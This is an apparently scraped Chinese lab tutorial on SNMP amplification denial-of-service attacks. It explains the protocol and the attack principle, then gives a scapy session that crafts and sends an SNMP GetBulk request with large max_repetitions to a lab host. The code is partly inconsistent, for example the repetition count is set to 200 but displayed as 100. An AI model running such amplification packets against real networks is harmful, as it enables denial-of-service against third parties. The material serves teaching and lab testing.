二十八、拒绝服务--(6)SNMP放大攻击

1、SNMP简单网络管理协议

  • 服务端口UDP161/162(服务端抓客户端信息,客户端port为161;客户端trap方式主动发往服务端,服务端port为162)
  • 管理站(manager/客户端)、被管理设备(agent/服务端)
  • 管理信息数据库(MIB)是一个信息存储库,包含过管理代理中的有关配置和性能的数据,按照不同分类,包含分属不同组的多个数据对象
  • 每一个节点都有一个对象标识符(OID)唯一的标识
  • IETF定义标准的MIB库/厂家自定义MIB库

2、攻击原理

  • 请求流量小,查询结果返回流量大
  • 结合伪造源地址实现攻击

3、测试

二十八、拒绝服务--(6)SNMP放大攻击_第1张图片
测试图
  • 首先在windows server2003上安装snmp服务,命令行下输入appwiz.cpl
    二十八、拒绝服务--(6)SNMP放大攻击_第2张图片
    安装snmp
二十八、拒绝服务--(6)SNMP放大攻击_第3张图片
配置snmp

使用scapy

>>> i=IP()
>>> i.dst="192.168.50.193"
>>> i.display()
###[ IP ]### 
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags= 
  frag= 0
  ttl= 64
  proto= hopopt
  chksum= None
  src= 192.168.50.192
  dst= 192.168.50.193 //目标snmpclient地址
  \options\

定义udp

>>> u=UDP()
>>> u.dport=161
>>> u.sport=161
>>> u.display()
###[ UDP ]### 
  sport= snmp
  dport= snmp
  len= None
  chksum= None

定义snmp

>>> s.community="snmpclient“
>>> s.community="snmpclient"
>>> s.display()
###[ SNMP ]### 
  version= 0x1 
  community= 'snmpclient'
  \PDU\
   |###[ SNMPget ]### 
   |  id= 0x0 
   |  error= 0x0 
   |  error_index= 0x0 
   |  \varbindlist\

设置SNMP的bulk

>>> b=SNMPbulk()
>>> b.display()
###[ SNMPbulk ]### 
  id= 0x0 
  non_repeaters= 0x0 
  max_repetitions= 0x0 
  \varbindlist\
>>> b.max_repetitions=200 //重复发送200遍查询

设置SNMP的PDU

>>> s.PDU=b
>>> b.varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.19.1.3'))]>>> s.PDU=b
>>> s.display()
###[ SNMP ]### 
  version= 0x1 
  community= 'snmpclient'
  \PDU\
   |###[ SNMPbulk ]### 
   |  id= 0x0 
   |  non_repeaters= 0x0 
   |  max_repetitions= 100
   |  \varbindlist\
   |   |###[ SNMPvarbind ]### 
   |   |  oid= 
   |   |  value= 
   |   |###[ SNMPvarbind ]### 
   |   |  oid= 
   |   |  value= 

发送snmp包

>>> r=(i/u/s)
>>> sr1(r)

查看发送200遍的结果


二十八、拒绝服务--(6)SNMP放大攻击_第4张图片
snmp抓包结果

你可能感兴趣的:(二十八、拒绝服务--(6)SNMP放大攻击)